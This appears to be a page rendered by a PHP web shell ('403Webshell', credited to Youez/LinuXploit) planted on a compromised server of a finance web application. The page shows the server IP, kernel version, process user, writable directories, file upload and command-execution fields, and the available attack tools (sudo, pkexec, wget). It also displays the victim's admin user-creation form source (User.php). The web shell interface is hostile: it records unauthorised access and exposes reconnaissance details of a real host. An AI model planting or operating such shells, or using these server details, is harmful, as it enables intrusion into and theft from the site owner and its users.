403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ptcfinance/application/modules/admin/forms/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/ptcfinance/application/modules/admin/forms/User.php
<?php
class Admin_Form_User extends Zend_Form
{
	public function __construct($params = null)
	{             
            $this->setMethod("POST");
            $this->setAction("admin/users/add");
            $this->setName("add_user");
            
            $id = $this->createElement('hidden','id',
                                array(
                                     'value' => '',
                                     'class' => 'input-xlarge',
                                        'id' => 'level',
                                    'required'=>false,
                                    'filters' => array('StringTrim'),
                                    //'validators' => array(array('StringLength', false, array(3, 100))),
                             ))	 
                            ->removeDecorator('label')
                            ->removeDecorator('HtmlTag')
                            ->removeDecorator('DtDdWrapper');
            
            /************ User Type *****************/
            $usertype = array();
            $usertype[""]="--Select User Type--";
            $usertype_arr = array(             'admin'=>'Admin',
                                      'content_writer'=>'Content Writer Admin',                           
                                );    
            $user_type = $this->createElement('select', 'type');
                        foreach ($usertype_arr as $key=>$val) {
                            $usertype[$key] = $val;
                        }
            $user_type->setRequired(true);
            $user_type->setMultiOptions($usertype);
            $user_type->setErrorMessages(array('Please select user type'));
            $user_type->removeDecorator('label');
            $user_type->removeDecorator('HtmlTag');
            $user_type->class = "select-xlarge";
            
            /************ Username  *****************/
            $username = $this->createElement('text','username',
                                array(
                                     'value' => trim($params['username']),
                                     'class' => 'input-xlarge',
                                        'id' => 'username',
                                    'required'=>true,
                                    'filters' => array('StringTrim'),
                                 'validators' => array(array("Alnum", true, array("allowWhiteSpace" => false))),
                             ))	
                            ->setErrorMessages(array('Please enter username and white space not allowed'))
                            ->removeDecorator('label')
                            ->removeDecorator('HtmlTag')
                            ->removeDecorator('DtDdWrapper');
            
            /************ Password  *****************/
//            $password = $this->createElement('password','password',
//                                array(
//                                     'value' => trim($params['password']),
//                                     'class' => 'input-xlarge',
//                                        'id' => 'password',
//                                    'required'=>true,
//                                    'filters' => array('StringTrim'),
//                                    //'validators' => array(array('StringLength', false, array(3, 100))),
//                             ))	 
//                            ->setErrorMessages(array('Please enter password'))
//                            ->removeDecorator('label')
//                            ->removeDecorator('HtmlTag')
//                            ->removeDecorator('DtDdWrapper');
            
            /************ Confirm Password  *****************/
//            $con_password = $this->createElement('password','cpassword',
//                                array(
//                                     'value' => trim($params['cpassword']),
//                                     'class' => 'input-xlarge',
//                                        'id' => 'cpassword',
//                                    'required'=>true,
//                                    'filters' => array('StringTrim'),
//                                    //'validators' => array(array('StringLength', false, array(3, 100))),
//                             ))	 
//                            ->addValidator('Identical', false, array('token' => 'password'))
//                            ->setErrorMessages(array('Please enter valid confirm password'))
//                            ->removeDecorator('label')
//                            ->removeDecorator('HtmlTag')
//                            ->removeDecorator('DtDdWrapper');
            
            /************ First Name  *****************/
            $first_name = $this->createElement('text','firstName',
                                array(
                                     'value' => trim($params['firstName']),
                                     'class' => 'input-xlarge',
                                        'id' => 'firstName',
                                    'required'=>true,
                                    'filters' => array('StringTrim'),
                                    'validators' => array(array("Alpha", true, array("allowWhiteSpace" => false))),
                             ))	 
                            ->setErrorMessages(array('Please enter first name'))
                            ->removeDecorator('label')
                            ->removeDecorator('HtmlTag')
                            ->removeDecorator('DtDdWrapper');
            
            /************ Last Name  *****************/
            $last_name = $this->createElement('text','lastName',
                                array(
                                     'value' => trim($params['lastName']),
                                     'class' => 'input-xlarge',
                                        'id' => 'lastName',
                                    'required'=>true,
                                    'filters' => array('StringTrim'),
                                    'validators' => array(array("Alpha", true, array("allowWhiteSpace" => false))),
                             ))	 
                            ->setErrorMessages(array('Please enter last name'))
                            ->removeDecorator('label')
                            ->removeDecorator('HtmlTag')
                            ->removeDecorator('DtDdWrapper');
            
            /************ Email  *****************/
            $email = $this->createElement('text','email',
                                array(
                                     'value' => trim($params['email']),
                                     'class' => 'input-xlarge',
                                        'id' => 'email',
                                    'required'=>true,
                                    'filters' => array('StringTrim'),
                                    //'validators' => array(array('StringLength', false, array(3, 100))),
                             ))	 
                            ->setErrorMessages(array('Please enter valid email address'))
                            ->removeDecorator('label')
                            ->removeDecorator('HtmlTag')
                            ->removeDecorator('DtDdWrapper');
            
            /************ Mobil Number  *****************/
            $mobile = $this->createElement('text','mobile',
                                array(
                                     'value' => trim($params['mobile']),
                                     'class' => 'input-xlarge',
                                        'id' => 'mobile',
                                 'maxlength' => '10',
                                    'required'=>true,
                                    'filters' => array('StringTrim'),
                                 'validators' => array('Digits'),
                             ))	 
                            ->setAttrib('onkeypress', 'return isNumber(event);') 
                            ->setErrorMessages(array('Please enter valid mobile number'))
                            ->removeDecorator('label')
                            ->removeDecorator('HtmlTag')
                            ->removeDecorator('DtDdWrapper');
            
                              
            /************ Status *****************/
            $dataMenu = array();
            $dataMenu[""]="--Select--";
            $dataMenuarr = array('Activate'=>'Activate','Deactivate'=>'Deactivate');    
            $status = $this->createElement('select', 'status');
                            foreach ($dataMenuarr as $key=>$val) {
                            $dataMenu[$key] = $val;
                        }
            $status->setRequired(true);
            $status->setMultiOptions($dataMenu);
            $status->setErrorMessages(array('Please select status'));
            $status->removeDecorator('label');
            $status->removeDecorator('HtmlTag');
            $status->class = "select-xlarge";
            
            $this->addElements(array(  
            $id,
            $user_type,    
            $username,  
            //$password,    
            //$con_password,
            $first_name,    
            $last_name,
            $email,
            $mobile, 
            $status    
            )); 
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit